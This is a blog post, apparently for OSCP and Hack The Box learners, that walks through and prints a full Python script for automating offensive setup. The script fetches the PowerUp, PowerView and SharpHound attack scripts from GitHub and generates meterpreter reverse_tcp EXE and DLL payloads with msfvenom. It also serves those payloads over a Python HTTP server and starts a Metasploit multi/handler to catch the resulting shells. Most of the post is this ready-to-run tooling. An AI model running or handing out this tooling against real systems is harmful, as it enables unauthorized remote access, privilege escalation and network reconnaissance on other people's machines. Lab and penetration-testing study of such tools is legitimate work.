Creating a useful tool downloader/creator using Argparse


If you've delved into OSCP studies or tackled challenges from platforms like Hack The Box, you're likely familiar with setting up reverse shells, fetching PowerShell scripts, initiating Python HTTP and SMB servers, and more, all in the pursuit of access or privilege escalation.

In my experience, this can be the most time-intensive step. To streamline this, I've developed a script—a flexible framework built on argparse—that allows for the easy creation or downloading of tools.

Although I've initiated it with a limited set of features, it's built with scalability in mind, enabling you to add any tools or parameters you often use. Send me your completed scripts, I'd be interested to see your tool lists.

Module Imports and Initial Setup:

Initially, I imported essential Python modules to support threading, URL requests, URL parsing, operating system commands, and command-line argument parsing. Command-line Argument Parsing:

a. The argparse module is put to use, enabling the user to select specific actions like downloading PowerShell scripts, creating reverse shells, or setting up a multi-handler in Metasploit. This provides flexibility, as users can choose to perform all actions or just a subset based on their needs.

b. Each action is mapped to a command-line flag, such as -a for all actions or -p for downloading PowerShell scripts only. This structured approach ensures clarity and ease of use.

Downloading PowerShell Scripts:

a. A list of PowerShell scripts from reputable repositories is defined for downloading.

b. The powershell function manages the downloading process. It sets a user-agent to mimic a browser request, ensuring higher compatibility and reducing the chance of request denials. If the download is successful, the script is saved to the current directory.

c. With the help of the download_powershell_scripts function, the downloading process is parallelised using multiple threads, enhancing the speed and efficiency of the process.

Generating Reverse Shells:

The generate_reverse function utilises the msfvenom tool to produce reverse shells. These shells can be tailored to specific IP addresses and ports, making them adaptable to various environments.

Python HTTP Server Setup:

The create_python_http function allows for the swift establishment of an HTTP server using Python's built-in capabilities. This server can be instrumental in hosting payloads or scripts for targets to download.

Setting up the Metasploit Multi-handler:

The create_multi_handler function facilitates the configuration and initiation of a Metasploit multi-handler using the msfconsole. This handler listens for incoming connections from payloads, allowing for interactive sessions once targets execute the payloads.

Main Execution Flow:

a. The main function orchestrates the script's flow based on user inputs from the command line. Depending on the flags provided, it guides the script to perform the appropriate actions.

b. For actions that require user-specific inputs, such as IP addresses or ports, the script prompts the user to provide the necessary information.

Execution and Flexibility:

Finally, the script is executed with the if __name__ == '__main__': construct, ensuring it runs when invoked directly.

Executing the script is as simple as adding the flags you want to run such as -h, -a, -p etc. For example:

$python3 tools.py -h

usage: tools.py [-h] [-a] [-p] [-r] [-m] [-s] [-v]

options:
-h, --help show this help message and exit
-a Download and create all tools
-p Create PowerShell Scripts Only
-r Create meterpreter x64 reverse TCP DLLs and EXE Only
-m Create multi/handler using MSFConsole
-s Create HTTP Python Server
-v Version Number

Complete Code


# Import necessary modules
from threading import Thread  # For concurrent downloading
import urllib.request  # For downloading PowerShell scripts
from urllib.parse import urlparse  # To parse URLs
import os  # To run shell commands
import argparse  # For command-line arguments parsing
import time  # For delaying the Python HTTP server start

# Define the version string
version = 'Useful Tool Downloader and Creator v1.0 by Alex'

# Create the argument parser
parser = argparse.ArgumentParser()
# Define possible command-line arguments and their behaviors
parser.add_argument('-a', const='all', action='append_const', help='Download and create all tools', dest='actions', default=[])
parser.add_argument('-p', const='powershell', action='append_const', help='Create PowerShell Scripts Only', dest='actions')
parser.add_argument('-r', const='reverse', action='append_const', help='Create meterpreter x64 reverse TCP DLLs and EXE Only', dest='actions')
parser.add_argument('-m', const='multihandler', action='append_const', help='Create multi/handler using MSFConsole', dest='actions')
parser.add_argument('-s', const='server', action='append_const', help='Create HTTP Python Server', dest='actions')
parser.add_argument('-v', action='version', version=version, help='Version Number')
# Parse the command-line arguments
args = parser.parse_args()

# List of PowerShell scripts to download
powershellscripts = [
    'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1',
    'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1',
    'https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1',
]

# File types for reverse shells
file_types = ['exe', 'dll']

# Function to download a specific PowerShell script
def powershell(script_url):
    # Define a header for the request to mimic a browser request
    header = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:48.0) Gecko/20100101 Firefox/48.0'}
    try:
        # Make the request to download the script
        req = urllib.request.Request(script_url, headers=header)
        html = urllib.request.urlopen(req).read()
        # Save the downloaded script to a file
        open(urlparse(script_url)[2].split("/")[-1], "w").write(html.decode()) 
        # Print the name of the downloaded script
        print("Downloading PS Tool: " + format(urlparse(script_url)[2].split("/")[-1]))
    except Exception as err:
        # Print an error message if the download fails
        print("Error Downloading: " + urlparse(script_url)[2].split("/")[-1])
    finally:
        pass  # Placeholder, no actions needed after the try-except block

# Function to download all PowerShell scripts concurrently
def download_powershell_scripts():
    threads = []
    print("--- Downloading PowerShell Scripts ---")
    for script in powershellscripts:
        # Start a new thread for each download
        t = Thread(target=powershell, args=(script,))
        t.start()
        threads.append(t)
    
    # Wait for all threads to finish
    for t in threads:
        t.join()

# Function to generate a reverse shell of a specific file type
def generate_reverse(ip, port, file_type):
    try:
        print("Creating rev.{}...".format(file_type))
        # Use msfvenom to generate the reverse shell
        os.system("msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={} LPORT={} -b {} -f {} > rev.{}".format(ip, port, r"\x00", file_type, file_type))
    except Exception as err:
        # Print an error message if the generation fails
        print("\nError creating rev.{}: ".format(file_type) + str(err)) 
    finally:
        pass  # Placeholder, no actions needed after the try-except block

# Function to generate both DLL and EXE reverse shells
def reverse(ip, port):
    print("\n--- Creating windows/x64/meterpreter/reverse_tcp DLL and EXE ---")
    for file_type in file_types:
        generate_reverse(ip, port, file_type)

# Function to start a Python HTTP server
def create_python_http(port):
    print("\n--- Creating HTTP Python Server ---")
    try:
        # Start the Python HTTP server
        os.system("python3 -m http.server {} &".format(port))
        # Wait for 2 seconds to ensure the server starts successfully
        time.sleep(2)
    except Exception as err:
        # Print an error message if the server creation fails
        print("Error creating Python HTTP Server: " + str(err))
    finally:
        pass  # Placeholder, no actions needed after the try-except block

# Function to create a multi-handler using MSFConsole
def create_multi_handler(ip, port):
    print("\n--- Creating multi/handler using MSFConsole ---")
    try:
        # Start MSFConsole with the specified command
        os.system("qterminal -e 'msfconsole -x \"use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST {}; set LPORT {}; set ExitOnSession false; run\"'".format(ip, port))
    except Exception as err:
        # Print an error message if the multi-handler creation fails
        print("Error creating multi/handler: " + str(err))
    finally:
        pass  # Placeholder, no actions needed after the try-except block
    
# Main function to handle user input and start the desired actions
def main():
    if 'all' in args.actions or 'reverse' in args.actions:
        ip1 = input("Enter IP for rev.exe: ")
        port1 = input("Enter PORT for rev.exe: ")
        reverse(ip1, port1)
    
    if 'all' in args.actions or 'powershell' in args.actions:
        download_powershell_scripts()

    if 'all' in args.actions or 'server' in args.actions:
        port2 = input("\nEnter PORT for Python Server: ")
        create_python_http(port2)

    if 'all' in args.actions or 'multihandler' in args.actions:
        ip3 = input("\nEnter IP for multi/handler: ")
        port3 = input("Enter PORT for multi/handler: ")
        create_multi_handler(ip3, port3)
    
# Entry point of the script: start the main function
if __name__ == '__main__':
    main()

Enquiries

[email protected]

Copyright © 2023 - slash-root.com